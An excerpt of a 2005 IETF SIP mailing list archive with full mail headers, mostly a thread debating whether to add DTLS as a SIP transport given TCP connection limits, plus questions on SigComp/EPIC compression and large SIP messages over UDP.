localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28cT-0006uP-NS; Fri, 18 Feb 2005 08:56:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28Zk-0005yd-EE for sip@megatron.ietf.org; Fri, 18 Feb 2005 08:53:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA03002 for ; Fri, 18 Feb 2005 08:53:43 -0500 (EST) Received: from 192-73-206-10.ulticom.com ([192.73.206.10] helo=colby.ulticom.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D28vP-0000Rx-In for sip@ietf.org; Fri, 18 Feb 2005 09:16:08 -0500 Received: from pcasveren (pc-asveren.ulticom.com [172.25.33.55]) by colby.ulticom.com (8.12.10/8.12.10) with SMTP id j1IDpt4t020102; Fri, 18 Feb 2005 08:51:56 -0500 (EST) From: "Tolga Asveren" To: "Christian Stredicke" , "Francois Audet" , "Cullen Jennings" , "Jonathan Rosenberg" Subject: RE: [Sip] draft-jennings-sip-dtls Date: Fri, 18 Feb 2005 08:39:51 -0500 Message-ID: MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Scanned-By: MIMEDefang 2.40 X-Spam-Score: 1.0 (+) X-Scan-Signature: 426dd6ea860196690cb99367d860d19e Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0488072596==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.7 (/) X-Scan-Signature: a7c7a0f28a102b9cb6317697abf1cf76 This is a multi-part message in MIME format. --===============0488072596== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0273_01C51595.695166E0" This is a multi-part message in MIME format. ------=_NextPart_000_0273_01C51595.695166E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message Why is there a limitation because of 16 bit (I assume you are referring to local/remote port field length in TCP header)? When the server side calls "accept", a new socket will be assigned but no extra port is consumed. And yes, there are ways to support the case you mentioned -with one IP Address/port pair-. Don't get me wrong, obviously the protocol needs to be implementable, but I personally do not see a problem related with that issue, neither in TCP protocol nor how to achieve the desired functionality in mainstream OS. Tolga -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Christian Stredicke Sent: Thursday, February 17, 2005 3:01 PM To: Tolga Asveren; Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls 16 bit set an upper limit of 64 K connections. My feeling is that TCP was not designed for this purpose. Sorry for being so pragmatic. Maybe someone can show me an implementation that can handle 100 K connections on one IP address. CS ---------------------------------------------------------------------------- From: Tolga Asveren [mailto:asveren@ulticom.com] Sent: Thursday, February 17, 2005 8:16 PM To: Christian Stredicke; Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls Isn't "running out of sockets" an implementation issue rather than a protocol one? And I believe using multiple processes would solve that problem. Tolga -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Christian Stredicke Sent: Wednesday, February 16, 2005 5:02 PM To: Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls Today I would recommend SIP operators to avoid TCP (and that includes TLS) because the processes are simply running out of sockets (think about an ITSP with one million customers). The UDP/DTLS idea would make it reasonable simple to have much more connections and on top have security. And as far as I understood the dtls it finally does solve the fragmentation pain problem. That sounds like a great thing to me. I would vote for dtls! CS ------------------------------------------------------------------------ From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Francois Audet Sent: Wednesday, February 16, 2005 9:47 PM To: 'Cullen Jennings'; 'Jonathan Rosenberg' Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls I would agree with Jonathan. Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them. Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS. I'd like to see real data before we add yet another thing we'll have to implement... -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 15, 2005 20:08 To: Jonathan Rosenberg Cc: sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-dtls Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP. I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated. On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: Cullen, What seems missing to me from this is requirements and problem statements. What is DTLS doing for us that we don't get from TLS? Though SIP can run over many different transport protocols, I think experience over time has shown that more choices here is not necessarily a good thing, as SIP has a fair bit of complexity as a result of dealing with the differences between UDP and TCP. As such, I don't think its a good idea to just add more transport protocols to SIP's list of supported ones unless there is a compelling problem that it is solving. Thanks, Jonathan R. Cullen Jennings wrote: > > Nagendra and I put together a draft on using DTLS with SIP. Until it > shows up in the archives you can find it at > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00. html > > (there is a .txt version too) > > > The abstract is: > > This draft specifies how to use Datagram Transport Layer Security > (DTLS) as a transport for SIP. DTLS is a new protocol for providing > TLS security over a datagram protocol. > > > ------------------------------------------------------------------------ > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip ------=_NextPart_000_0273_01C51595.695166E0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
<Actually this becomes too implementation dependent, = probably need=20 to switch to implementors list, but just because it is about the=20 existence/non-existence of certain limitation which might be an argument = in=20 favor of a new proposal, I continue here>
 
Why is=20 there a limitation because of 16 bit (I assume you are referring to = local/remote=20 port field length in TCP header)? When the server side calls "accept", a = new=20 socket will be assigned but no extra port is = consumed.
 
And=20 yes, there are ways to support the case you mentioned -with one IP = Address/port=20 pair-.
 
Don't=20 get me wrong, obviously the protocol needs to be = implementable, but I=20 personally do not see a problem related with that issue, neither in TCP = protocol=20 nor how to achieve the desired functionality in mainstream=20 OS.
 
        = Tolga
-----Original Message-----
From: = sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org]On Behalf Of Christian=20 Stredicke
Sent: Thursday, February 17, 2005 3:01 = PM
To:=20 Tolga Asveren; Francois Audet; Cullen Jennings; Jonathan=20 Rosenberg
Cc: sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

16 bit set an upper limit of 64 K = connections. My feeling=20 is that TCP was not designed for this purpose.
 
Sorry for being so pragmatic. Maybe someone = can show me=20 an implementation that can handle 100 K connections on one IP=20 address.
 
CS

From: Tolga Asveren=20 [mailto:asveren@ulticom.com]
Sent: Thursday, February 17, = 2005=20 8:16 PM
To: Christian Stredicke; Francois Audet; Cullen = Jennings;=20 Jonathan Rosenberg
Cc: sip@ietf.org
Subject: RE: = [Sip]=20 draft-jennings-sip-dtls

Isn't "running out of sockets" an = implementation=20 issue rather than a protocol one?
 
And I believe using multiple processes = would solve=20 that problem.
 
  Tolga
-----Original Message-----
From: = sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org]On Behalf Of Christian=20 Stredicke
Sent: Wednesday, February 16, 2005 5:02=20 PM
To: Francois Audet; Cullen Jennings; Jonathan=20 Rosenberg
Cc: sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

Today I would recommend SIP operators to = avoid TCP=20 (and that includes TLS) because the processes are simply running = out of=20 sockets (think about an ITSP with one million customers). The = UDP/DTLS=20 idea would make it reasonable simple to have much more connections = and on=20 top have security. And as far as I understood the dtls it finally = does=20 solve the fragmentation pain problem.
 
That sounds like a great thing to me. I = would vote=20 for dtls!
 
CS

From: sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org] On Behalf Of Francois=20 Audet
Sent: Wednesday, February 16, 2005 9:47 = PM
To:=20 'Cullen Jennings'; 'Jonathan Rosenberg'
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

I would agree with Jonathan.
 
Yes, some implementations of SIP/TCP have performance = issues=20 compared to SIP/UDP, but not necessarily all of them.=20
 
Also, if we need to address the other problems of UDP = transport=20 (like fragmentation, and others), then it is not clear to me = that we are=20 saving much in the first place by using UDP/DTLS instead of=20 TCP/TLS.
 
I'd like to see real data before we add yet another = thing we'll=20 have to implement...
-----Original = Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On = Behalf Of=20 Cullen Jennings
Sent: Tuesday, February 15, 2005 = 20:08
To: Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: Re: [Sip]=20 draft-jennings-sip-dtls


Oops - I meant to put that.... = There is=20 pretty much one key thing. No one has build an single edge = proxy that=20 can terminate 100k to 1M connections to UAs using TLS. In = theory it is=20 possible, but in practice it seems hard. The argument is that = this=20 will be easier with DTLS. The issue is not the time it takes = to do the=20 crypto - session resumption deals with that nicely - it just = the=20 issues of dealing with half a million TCP connections to one = box. Of=20 course no one has done it with DTLS either :-)

I = believe the=20 argument we made for SCTP was that adding an extensions for = SCTP won't=20 increase the complexity of things that don't support SCTP. =

I=20 agree the UDP/TCP complexity made SIP more complicated and I = agree=20 that sip and sips made things more complicated. I'm not sure I = buy=20 that both TLS and TCP made things more complicated. =


On=20 2/15/05 7:15 PM, "Jonathan Rosenberg" = <jdrosen@cisco.com>=20 wrote:

Cullen,

What seems missing = to me=20 from this is requirements and problem
statements. What = is DTLS=20 doing for us that we don't get from TLS?

Though SIP = can run=20 over many different transport protocols, I think =
experience over=20 time has shown that more choices here is not necessarily =
a good=20 thing, as SIP has a fair bit of complexity as a result of = dealing=20
with the differences between UDP and TCP. As such, I = don't think=20 its a
good idea to just add more transport protocols to = SIP's=20 list of
supported ones unless there is a compelling = problem that=20 it is solving.

Thanks,
Jonathan R. =

Cullen=20 Jennings wrote:

>
> Nagendra and I put = together a=20 draft on using DTLS with SIP. Until it
> shows up in = the=20 archives you can find it at
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-dtls-00.html=20
>
> (there is a .txt version too)
> =
>=20
> The abstract is:
>
> =    This=20 draft specifies how to use Datagram Transport Layer Security =
>    (DTLS) as a transport for SIP. =  DTLS=20 is a new protocol for providing
> =    TLS=20 security over a datagram protocol.
>
> =
>=20 = ------------------------------------------------------------------------ =
>
> = _______________________________________________=20
> Sip mailing list=20  https://www1.ietf.org/mailman/listinfo/sip
> = This list=20 is for NEW development of the core SIP Protocol
> Use = sip-implementors@cs.columbia.edu for questions on current = sip=20
> Use sipping@ietf.org for new developments on the=20 application of sip

------=_NextPart_000_0273_01C51595.695166E0-- --===============0488072596== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0488072596==-- From sip-bounces@ietf.org Fri Feb 18 09:12:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04555 for ; Fri, 18 Feb 2005 09:12:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D29Da-0000uD-7K for sip-web-archive@ietf.org; Fri, 18 Feb 2005 09:34:57 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28cV-0006ub-TI; Fri, 18 Feb 2005 08:56:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28Zl-0005yf-07 for sip@megatron.ietf.org; Fri, 18 Feb 2005 08:53:45 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA03007 for ; Fri, 18 Feb 2005 08:53:43 -0500 (EST) Received: from 192-73-206-10.ulticom.com ([192.73.206.10] helo=colby.ulticom.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D28vP-0000Rn-Is for sip@ietf.org; Fri, 18 Feb 2005 09:16:08 -0500 Received: from pcasveren (pc-asveren.ulticom.com [172.25.33.55]) by colby.ulticom.com (8.12.10/8.12.10) with SMTP id j1IDr14t020205; Fri, 18 Feb 2005 08:53:02 -0500 (EST) From: "Tolga Asveren" To: "Vijay K. Gurbani" Subject: RE: [Sip] draft-jennings-sip-dtls Date: Fri, 18 Feb 2005 08:40:57 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <4215172F.7060303@lucent.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Scanned-By: MIMEDefang 2.40 X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Content-Transfer-Encoding: 7bit Hi Vijay, Could you point to specific section in the draft -or explain the protocol limitation briefly-? Thanks, Tolga > -----Original Message----- > From: Vijay K. Gurbani [mailto:vkg@lucent.com] > Sent: Thursday, February 17, 2005 5:14 PM > To: Tolga Asveren > Cc: sip@ietf.org > Subject: Re: [Sip] draft-jennings-sip-dtls > > > Tolga Asveren wrote: > > Isn't "running out of sockets" an implementation issue rather than a > > protocol one? > > It's actually a little bit of both. See > http://www.ietf.org/internet-drafts/draft-gurbani-sipping-connecti on-guidelines-01.txt - vijay -- Vijay K. Gurbani vkg@{lucent.com,research.bell-labs.com,acm.org} Wireless Networks Group/Internet Software and Services Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440 Naperville, Illinois 60566 Voice: +1 630 224 0216 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 18 09:28:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA06133 for ; Fri, 18 Feb 2005 09:28:05 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D29Sf-0001Nc-DT for sip-web-archive@ietf.org; Fri, 18 Feb 2005 09:50:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28w8-0005oO-0d; Fri, 18 Feb 2005 09:16:52 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D28jP-0000lU-8g for sip@megatron.ietf.org; Fri, 18 Feb 2005 09:03:43 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03760 for ; Fri, 18 Feb 2005 09:03:41 -0500 (EST) Received: from hoemail2.lucent.com ([192.11.226.163]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2954-0000h7-12 for sip@ietf.org; Fri, 18 Feb 2005 09:26:07 -0500 Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70]) by hoemail2.lucent.com (8.12.11/8.12.11) with ESMTP id j1IE3cHt013580; Fri, 18 Feb 2005 08:03:39 -0600 (CST) Received: from [135.185.173.147] (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7p1+Sun/EMS-1.5 sol2) id j1IE3c919724; Fri, 18 Feb 2005 08:03:38 -0600 (CST) Message-ID: <4215F5BA.7030605@lucent.com> Date: Fri, 18 Feb 2005 08:03:38 -0600 From: "Vijay K. Gurbani" User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tolga Asveren Subject: Re: [Sip] draft-jennings-sip-dtls References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 1ac7cc0a4cd376402b85bc1961a86ac2 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Content-Transfer-Encoding: 7bit Tolga Asveren wrote: > Hi Vijay, > > Could you point to specific section in the draft -or explain the protocol > limitation briefly-? Section 1 and 2 of the I-D discuss the limitations... - vijay -- Vijay K. Gurbani vkg@{lucent.com,research.bell-labs.com,acm.org} Wireless Networks Group/Internet Software and Services Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440 Naperville, Illinois 60566 Voice: +1 630 224 0216 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Sun Feb 20 04:54:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17833 for ; Sun, 20 Feb 2005 04:54:04 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2o8y-00008I-8m for sip-web-archive@ietf.org; Sun, 20 Feb 2005 05:16:54 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2mSr-0006F3-5m; Sun, 20 Feb 2005 03:29:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Chz-0007UQ-Da; Fri, 18 Feb 2005 13:18:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16648; Fri, 18 Feb 2005 13:18:27 -0500 (EST) Received: from [207.236.152.71] (helo=mtlexch02.mtl.slr.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2D3f-0004GC-3Q; Fri, 18 Feb 2005 13:40:56 -0500 Received: by MTLEXCH02 with Internet Mail Service (5.5.2657.72) id ; Fri, 18 Feb 2005 13:19:46 -0500 Message-ID: <1CCF22B8BDBD254DA84EC0B05D3DAEEC0268C4CD@mtlexch01.mtl.cmac.com> From: "Lepine, Jean-Pierre" To: rohc@ietf.org, sip@ietf.org, sipping@ietf.org Date: Fri, 18 Feb 2005 13:17:43 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) X-Spam-Score: 0.2 (/) X-Scan-Signature: 25eb6223a37c19d53ede858176b14339 X-Mailman-Approved-At: Sun, 20 Feb 2005 03:29:14 -0500 Subject: [Sip] SigComp with EPIC compression for SIP messages X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0490239705==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.2 (/) X-Scan-Signature: 93df555cbdbcdae9621e5b95d44b301e This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0490239705== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C515E6.23EDB710" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C515E6.23EDB710 Content-Type: text/plain; charset="ISO-8859-1" Hi all, I am currently looking at using SigComp with EPIC compression for SIP messages. After reading relevant RFCs and Internet drafts, a few things are not clear to me. First, I understand that EPIC relies on a profile to compress and decompress data. The EPIC reference implementation from Roke Manor Research Ltd provides a profile for RTP. However, I can't find a profile for SIP. Is there one out there? I think I can write one but this would likely be a problem for interoperability since the decompressor MUST use the same profile. One solution would be to download the profile to the other endpoint but this does not look too good to me, partly because I have a concern about the profile size. Furthermore, I don't see how I could instruct the other endpoint to use a downloaded profile (file name and location ?). Any other option? Also, in the SigComp User Guide (draft-ietf-rohc-sigcomp-user-guide-00.txt), section 4.6 is talking about EPIC and SIP but never mentions the need or existence of a profile. Without a profile, how can EPIC be used ? The mentioned section also shows compression results for three algorithms, including EPIC. All algorithms employed a static dictionary and shared compression. Exactly how the EPIC results were obtained is not clear to me, in particular how EPIC was used ? Only the Hierarchical Huffman algorithm ? EPIC used in conjunction with DEFLATE ? Did all three algorithms used the static dictionary described in RFC3485 ? Any help would be really appreciated, Thanks. ------_=_NextPart_001_01C515E6.23EDB710 Content-Type: text/html; charset="ISO-8859-1"

 

Hi all,

 

I am currently looking at using SigComp with EPIC compression for SIP messages. After reading relevant RFCs and Internet drafts, a few things are not clear to me.

 

First, I understand that EPIC relies on a profile to compress and decompress data. The EPIC reference implementation from Roke Manor Research Ltd provides a profile for RTP. However, I can't find a profile for SIP.

Is there one out there?

 

I think I can write one but this would likely be a problem for interoperability since the decompressor MUST use the same profile. One solution would be to download the profile to the other endpoint but this does not look too good to me, partly because I have a concern about the profile size. Furthermore, I don't see how I could instruct the other endpoint to use a downloaded profile (file name and location ?).

Any other option?

 

Also, in the SigComp User Guide (draft-ietf-rohc-sigcomp-user-guide-00.txt), section 4.6 is talking about EPIC and SIP but never mentions the need or existence of a profile.

Without a profile, how can EPIC be used ?

 

The mentioned section also shows compression results for three algorithms, including EPIC. All algorithms employed a static dictionary and shared compression.

Exactly how the EPIC results were obtained is not clear to me, in particular how EPIC was used ?

Only the Hierarchical Huffman algorithm ?

EPIC used in conjunction with DEFLATE ?

Did all three algorithms used the static dictionary described in RFC3485 ?

 

Any help would be really appreciated, Thanks.

 

------_=_NextPart_001_01C515E6.23EDB710-- --===============0490239705== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0490239705==-- From sip-bounces@ietf.org Sun Feb 20 22:47:18 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA13027 for ; Sun, 20 Feb 2005 22:47:18 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D34tk-0002ki-35 for sip-web-archive@ietf.org; Sun, 20 Feb 2005 23:10:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D345T-0003Kz-5Z; Sun, 20 Feb 2005 22:18:19 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D33gL-0006GV-Qa for sip@megatron.ietf.org; Sun, 20 Feb 2005 21:52:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA09669 for ; Sun, 20 Feb 2005 21:52:14 -0500 (EST) Received: from csmail.cs.ccu.edu.tw ([140.123.101.188] helo=mail.cs.ccu.edu.tw) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D342Q-0001ZQ-H5 for sip@ietf.org; Sun, 20 Feb 2005 22:15:13 -0500 Received: from localhost (localhost [127.0.0.1]) by mail.cs.ccu.edu.tw (Postfix) with ESMTP id 9022E5C914 for ; Mon, 21 Feb 2005 10:51:51 +0800 (CST) Received: from mail.cs.ccu.edu.tw ([127.0.0.1]) by localhost (mail.cs.ccu.edu.tw [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 55331-11 for ; Mon, 21 Feb 2005 10:51:51 +0800 (CST) Received: from 11092010202 (csie0.cs.ccu.edu.tw [140.123.101.220]) by mail.cs.ccu.edu.tw (Postfix) with ESMTP id D97055C912 for ; Mon, 21 Feb 2005 10:51:50 +0800 (CST) From: "Tai-Hsing Yu" To: Date: Mon, 21 Feb 2005 10:51:34 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: AcUCshROK8itc5kwSlK99H7jgUIGMQVBYcUQAAImLSA= X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Message-Id: <20050221025150.D97055C912@mail.cs.ccu.edu.tw> X-Virus-Scanned: by amavisd-new at cs.ccu.edu.tw X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Content-Transfer-Encoding: quoted-printable Subject: [Sip] Questions of handling large request message X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: fhubert@ms37.hinet.net List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Content-Transfer-Encoding: quoted-printable Hello, I have some questions about handling SIP msgs that are larger = than 1300 bytes. RFC 3261, chapter 18 as listed, mentions that if = request message is larger than 1300 bytes, it MUST be sent using TCP = because of the meesage size constraints. But what should the proxy do = when user registers to Proxy/Registrar with = =E2=80=9Ctransport=3Dudp=E2=80=9D or without =E2=80=9Ctransport=E2=80=9D = parameter?? Any acknowledgement will be deeply appreciated. Sincerely, Fish _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 22 21:56:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02569 for ; Tue, 22 Feb 2005 21:56:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3n4C-0004CT-1n for sip-web-archive@ietf.org; Tue, 22 Feb 2005 22:20:00 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3MS0-0004ur-Cw; Mon, 21 Feb 2005 17:54:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3KdT-0006Jr-MX; Mon, 21 Feb 2005 15:58:31 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14620; Mon, 21 Feb 2005 15:58:30 -0500 (EST) Message-Id: <200502212058.PAA14620@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Mon, 21 Feb 2005 15:58:29 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-refer-with-norefersub-01.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.4 (++) X-Scan-Signature: 